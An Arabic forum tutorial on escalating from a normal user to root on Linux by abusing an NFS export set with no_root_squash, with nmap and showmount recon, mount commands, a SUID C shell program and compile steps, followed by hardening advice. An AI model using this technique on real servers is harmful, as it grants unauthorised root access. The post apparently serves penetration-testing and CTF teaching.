رفع الصلاحيات عبر NFS Port شرح عملي Linux

x32x01
  • بواسطة x32x01 ||
واحدة من أخطر مشاكل Linux Privilege Escalation اللي بتتقابل كتير في اختبارات الاختراق هي سوء إعداد NFS Server.
الغلط الصغير في إعدادات الـ Administrator ممكن يخليك تنتقل من يوزر عادي 👤
إلى Root Access كامل خلال دقائق فقط 😈

خلينا نشرح السيناريو خطوة خطوة بأسلوب عملي زي اللي بيحصل في الـ Penetration Testing الحقيقي 👇

يعني إيه NFS أصلًا؟ 🤔​

NFS - Network File System
هو بروتوكول بيسمح بمشاركة الملفات عبر الشبكة كأنها موجودة Local عندك.
يعني تقدر تعمل:
✅ قراءة ملفات ✅ تعديل ملفات ✅ إنشاء ملفات
على جهاز تاني عن بعد.
لكن المشكلة تبدأ لما يحصل Misconfiguration ⚠️



سيناريو الاختراق 🎯​

نفترض إنك داخل على السيرفر بيوزر عادي: test
وهدفك توصل لصلاحيات: root



الخطوة 1: فحص البورتات باستخدام Nmap 🔎​

أول حاجة أي Pentester بيعملها هي Scan:
Code:
nmap -sV -p- TARGET_IP
لو ظهر عندك:
Code:
2049/tcp open nfs
يبقى كده فيه NFS Service شغالة



الخطوة 2: معرفة المجلدات المشاركة عبر NFS 📂​

نستخدم الأمر:
Code:
showmount -e TARGET_IP
مثال نتيجة: /www *
ده معناه إن مجلد www متشارك على الشبكة.



الخطوة 3: أخطر Option في NFS 🚨 (no_root_squash)​

إعدادات NFS بتكون موجودة في:
Code:
/etc/exports
لو لقيت الخيار ده: no_root_squash
يبقى السيرفر في خطر كبير جدًا 😵‍💫

ليه؟​

ببساطة: أي Root من جهازك = Root على السيرفر.
يعني تقدر تنشئ ملفات بصلاحيات Root مباشرة!



الخطوة 4: عمل Mount للمجلد المشترك 🧩​

على جهاز Kali مثلاً:
Code:
mkdir /tmp/test
mount -t nfs TARGET_IP:/www /tmp/test
كده بقى عندك وصول مباشر لمجلد السيرفر.



الخطوة 5: اختبار إنشاء ملف ✍️​

لو أنشأت ملف داخل المجلد:
Code:
touch testfile
هتلاحظ إنه اتضاف على السيرفر بصلاحية: root
وده سبب المشكلة كلها ⚠️



الخطوة 6: استغلال الثغرة ورفع الصلاحيات 🔥​

طالما نقدر ننشئ ملفات Root… يبقى نقدر نزرع Binary بصلاحية عالية.
هنستخدم برنامج بسيط بلغة C.

كود Privilege Escalation:​

C++:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}



الخطوة 7: Compile وإعطاء صلاحية SUID ⚡​

Bash:
gcc shell.c -o shell
chmod +s shell

بعد كده انخ الملف داخل مجلد الـ NFS المشترك.



الخطوة 8: الحصول على Root Access 👑​

على الجهاز الهدف: ./shell
والنتيجة: root@target
✅ تم رفع الصلاحيات بنجاح عبر NFS.



ليه الثغرة دي خطيرة جدًا؟ 😨​

لأنها:
  • لا تحتاج Exploit معقد
  • تعتمد على Misconfiguration فقط
  • شائعة في السيرفرات الداخلية
  • بتظهر كثير في CTF وReal Engagements



إزاي تحمي السيرفر من NFS Privilege Escalation؟ 🛡️​

المسؤول عن السيرفر لازم:
✅ إزالة no_root_squash
✅ استخدام root_squash بدلها
✅ تحديد IPs المسموح لها فقط
✅ منع الكتابة للمستخدمين غير الموثوقين
✅ مراجعة /etc/exports باستمرار
مثال إعداد آمن:
Code:
/www 192.168.1.10(rw,root_squash)



الخلاصة 💡​

ثغرات NFS Misconfiguration تعتبر من أسهل وأقوى طرق:
✅ Linux Privilege Escalation
✅ Local to Root Attack
✅ Post Exploitation
وأحيانًا مجرد Option غلط واحد… يفتح السيرفر بالكامل.
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
963
x32x01
x32x01
x32x01
الردود
0
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
238
x32x01
x32x01
x32x01
الردود
0
المشاهدات
569
x32x01
x32x01
x32x01
الردود
0
المشاهدات
242
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
2,509
المشاركات
2,702
أعضاء أكتب كود
577
أخر عضو
سراب
عودة
أعلى